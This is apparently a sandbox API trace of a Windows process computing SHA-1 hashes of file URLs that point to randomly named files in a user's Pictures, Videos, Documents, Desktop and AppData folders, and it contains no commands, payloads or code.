[0079.822] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.823] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned 0x5c
[0079.823] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp/") returned 0x5d
[0079.823] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xbc, dwFlags=0x0) returned 1
[0079.823] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.823] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned 0x41
[0079.823] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned 0x41
[0079.823] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x84, dwFlags=0x0) returned 1
[0079.823] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.823] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned 0x41
[0079.823] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png/") returned 0x42
[0079.823] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x86, dwFlags=0x0) returned 1
[0079.823] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.823] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned 0x41
[0079.823] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned 0x41
[0079.823] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x84, dwFlags=0x0) returned 1
[0079.823] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.823] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.823] wcslen (_String="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned 0x41
[0079.824] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv/") returned 0x42
[0079.824] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x86, dwFlags=0x0) returned 1
[0079.824] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.824] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 0x41
[0079.824] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 0x41
[0079.824] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x84, dwFlags=0x0) returned 1
[0079.824] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.824] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 0x41
[0079.824] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots/") returned 0x42
[0079.824] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x86, dwFlags=0x0) returned 1
[0079.824] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.824] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned 0x3c
[0079.824] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned 0x3c
[0079.824] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.824] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.824] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned 0x3c
[0079.824] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.824] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt/") returned 0x3d
[0079.825] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.825] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.825] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.825] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 0x34
[0079.825] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.825] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 0x34
[0079.825] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6a, dwFlags=0x0) returned 1
[0079.825] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.825] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.825] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 0x34
[0079.825] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.825] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg/") returned 0x35
[0079.825] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6c, dwFlags=0x0) returned 1
[0079.825] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.825] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.825] wcslen (_String="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned 0x2e
[0079.825] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.825] wcslen (_String="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned 0x2e
[0079.825] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x5e, dwFlags=0x0) returned 1
[0079.825] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.825] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.825] wcslen (_String="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned 0x2e
[0079.825] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.825] wcslen (_String="file:///c:/users/atveydl98z/desktop/8cb1qu.gif/") returned 0x2f
[0079.825] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.825] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.826] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.826] wcslen (_String="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned 0x3d
[0079.826] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.826] wcslen (_String="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned 0x3d
[0079.826] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.826] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.826] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.826] wcslen (_String="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned 0x3d
[0079.826] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.826] wcslen (_String="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx/") returned 0x3e
[0079.826] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.826] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.826] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.826] wcslen (_String="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned 0x3d
[0079.826] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.826] wcslen (_String="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned 0x3d
[0079.826] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.826] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.826] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.826] wcslen (_String="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned 0x3d
[0079.826] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.826] wcslen (_String="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp/") returned 0x3e
[0079.826] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.826] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.827] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned 0x4d
[0079.827] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned 0x4d
[0079.827] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x9c, dwFlags=0x0) returned 1
[0079.827] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.827] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned 0x4d
[0079.827] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp/") returned 0x4e
[0079.827] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x9e, dwFlags=0x0) returned 1
[0079.827] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.827] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/documents/bscqw.odt") returned 0x2f
[0079.827] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/documents/bscqw.odt") returned 0x2f
[0079.827] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.827] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.827] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/documents/bscqw.odt") returned 0x2f
[0079.827] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/documents/bscqw.odt/") returned 0x30
[0079.827] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.827] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.827] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.827] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned 0x50
[0079.828] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.828] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned 0x50
[0079.828] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa2, dwFlags=0x0) returned 1
[0079.828] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.828] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.828] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned 0x50
[0079.828] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.828] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif/") returned 0x51
[0079.828] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa4, dwFlags=0x0) returned 1
[0079.828] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.828] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.828] wcslen (_String="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned 0x2f
[0079.828] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.828] wcslen (_String="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned 0x2f
[0079.828] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.828] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.828] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.828] wcslen (_String="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned 0x2f
[0079.828] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.828] wcslen (_String="file:///c:/users/atveydl98z/documents/sq4zs.odt/") returned 0x30
[0079.828] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.828] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.828] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.828] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned 0x48
[0079.828] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned 0x48
[0079.829] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x92, dwFlags=0x0) returned 1
[0079.829] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.829] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned 0x48
[0079.829] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv/") returned 0x49
[0079.829] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x94, dwFlags=0x0) returned 1
[0079.829] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.829] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned 0x39
[0079.829] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned 0x39
[0079.829] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.829] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.829] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned 0x39
[0079.829] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx/") returned 0x3a
[0079.829] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.829] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.829] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned 0x37
[0079.829] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.829] wcslen (_String="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned 0x37
[0079.829] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.829] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.830] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.830] wcslen (_String="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned 0x37
[0079.830] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.830] wcslen (_String="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif/") returned 0x38
[0079.830] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.830] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.830] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.830] wcslen (_String="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned 0x37
[0079.830] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.830] wcslen (_String="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned 0x37
[0079.830] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.830] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.830] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.830] wcslen (_String="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned 0x37
[0079.830] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.830] wcslen (_String="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg/") returned 0x38
[0079.830] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.830] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.830] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.830] wcslen (_String="file:///c:/users/atveydl98z/documents/db_m.pptx") returned 0x2f
[0079.830] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.830] wcslen (_String="file:///c:/users/atveydl98z/documents/db_m.pptx") returned 0x2f
[0079.830] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.830] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.830] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/documents/db_m.pptx") returned 0x2f
[0079.831] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/documents/db_m.pptx/") returned 0x30
[0079.831] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.831] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.831] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned 0x4a
[0079.831] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned 0x4a
[0079.831] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x96, dwFlags=0x0) returned 1
[0079.831] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.831] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned 0x4a
